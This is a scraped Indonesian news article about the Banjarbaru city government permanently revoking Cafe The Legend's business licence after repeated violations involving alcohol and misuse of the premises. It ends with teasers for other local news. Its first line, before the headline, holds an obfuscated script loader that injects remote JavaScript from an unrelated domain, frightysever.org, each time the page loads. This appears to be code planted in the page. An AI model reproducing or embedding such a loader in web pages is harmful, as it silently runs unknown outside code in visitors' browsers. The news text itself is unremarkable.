(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Berulang Kali Melanggar, Izin Café The Legend Akhirnya Dicabut


KANALKALIMANTAN.COM, BANJARBARU – Berulang kali melanggar Perda, Pemerintah Kota (Pemko) akhirnya tegas mencabut permanen izin usaha tempat hiburan umum Cafe The Legend di Jalan Trikora, Kecamatan Banjarbaru Selatan.

Keputusan ini sebagaimana surat yang diterbitkan Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu (DPMPTSP) per 25 Januari 2022.

Dalam hal ini, izin usaha Cafe The Legend dicabut dan secara resmi tidak diperbolehkan lagi beroperasional.

Adapun isi surat menyatakan bahwa Cafe The Legend telah melanggar sejumlah regulasi yang ditetapkan dalam Peraturan Daerah (Perda) Kota Banjarbaru maupun Peraturan Wali Kota (Perwali). Mulai dari penggunaan minuman beralkohol, hingga penyalahgunaan tempat usaha tidak sesuai dengan izin usahanya.

 

Baca juga : Pelantikan PAW Kades Desa Baru, Ini Pesan Bupati Eddy Raya

Keputusan ini sendiri telah melalui pertimbangan atas banyaknya pelanggaran yang ditemukan saat giat patroli Satpol PP Kota Banjarbaru.

Pencabutan izin usaha ini berlaku sejak surat ini ditetapkan dan apabila terdapat kekeliruan dalam putusan ini, maka akan diadakan perbaikan sebagaimana mestinya.

Ihwal keputusan tersebut, Wali Kota Banjarbaru Aditya Mufti Ariffin mengaku bahwa pihaknya sudah melakukan pertimbangan yang sangat matang. Apalagi selama ini pihaknya juga sudah memberi kesempatan kepada pihak Cafe The Legend, dengan tiga kali melayangkan surat teguran.

“Disporabudpar sudah tiga kali memberi surat teguran dan ternyata masih saja melakukan pelanggaran yang sama. Kalau sudah begitu, ya kita ambil langkah tegas saja. Kita cabut saja izin usahanya,” ujarnya.

 

Baca juga : Peringati Hari Gizi Nasional, Persagi HSU Bagi Vitamin dan Makanan ke Pelajar 

Wali Kota menegaskan pencabutan izin usaha juga akan dilakukan kepada tempat hiburan lain apabila masih melanggar peraturan daerah.

“Ini juga berlaku bagi tempat hiburan lain. Jika sudah kami cabut izin usaha, maka tidak bisa beroperasi lagi. Tolong ini menjadi atensi bagi seluruh pemilik tempat hiburan yang di Banjarbaru,” tuntasnya.

Sebagaimana diberitakan sebelumnya, Satpol PP Banjarbaru kembali mendapati berbagai pelanggaran di Cafe The Legend, saat giat patroli Minggu (23/1/2022) dini hari.

Saat pemeriksaan dilakukan sekira pukul 01.15 Wita, petugas menemukan pemilik Cafe The Legend tengah berkemas menututup tempat usahanya. Kendati demikian, petugas mengendus upaya kucin-kucingan, sehingga memeriksa kembali Kafe tersebut pada pukul 01.40 Wita.

 

Baca juga : AWAS! Terorisme Incar Susupi BUMN, Kepala BNPT: Ingin Manfaatkan Sumber Daya Negara

Terbukti saat masuk ke dalam, petugas mendapati dua teko besar berisi minuman keras di salah satu meja pengunjung.

Petugas kemudian memberikan teguran dan tindakan tegas serta memberikan Surat Panggilan (SP) kepada pemilik untuk berhadir ke Kantor Satpol PP Banjarbaru sebagai proses lanjutan pemeriksaan. (kanalkalimantan.com/al)

Reporter : al
Editor : bie


Desy Arfianty

Recent Posts

Bupati Saidi Mansyur dan Jajaran Pemkab Banjar Peringati Maulid Nabi Muhammad SAW

KANALKALIMANTAN.COM, MARTAPURA - Suasana khidmat mewarnai peringatan Maulid Nabi Muhammad SAW yang digelar Pemkab Banjar… Read More

4 jam ago

Relawan Muhidin-Hasnur ‘Panaskan Mesin’, Sepakat Tidak Lakukan Kampanye Hitam

KANALKALIMANTAN.COM, BANJARMASIN - Menjelang penetapan calon gubernur dan wakil gubernur relawan Muhidin-Hasnur dari 13 kabupaten… Read More

7 jam ago

Kabar Alih Fungsi Minggu Raya, Ini Respon Wali Kota Aditya

KANALKALIMANTAN.COM, BANJARBARU - Kabar Minggu Raya –kawasan kuliner- di jantung Ibu Kota Provinsi Kalimantan Selatan… Read More

8 jam ago

Menjaga Tradisi Banjar Baayun Maulid di Masjid Tertua Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Syair-syair maulid sebagai pujian kepada Nabi Muhammad SAW menggema di Masjid Sultan… Read More

8 jam ago

PAFI PC Sorong: Mitra Setia dalam Pengembangan Profesi Farmasi

KANALKALIMANTAN.COM - Kamu mungkin sudah tahu bahwa profesi farmasi adalah salah satu pilar penting dalam dunia… Read More

16 jam ago

Nurgita Tiyas Sapa Pedagang di Pasar Terapung Lokbaintan

KANALKALIMANTAN.COM, MARTAPURA - Suasana di Pasar Terapung Lokbaintan, Kecamatan Sungaitabuk, Kabupaten Banjar pada Minggu (15/9/2024)… Read More

1 hari ago

This website uses cookies.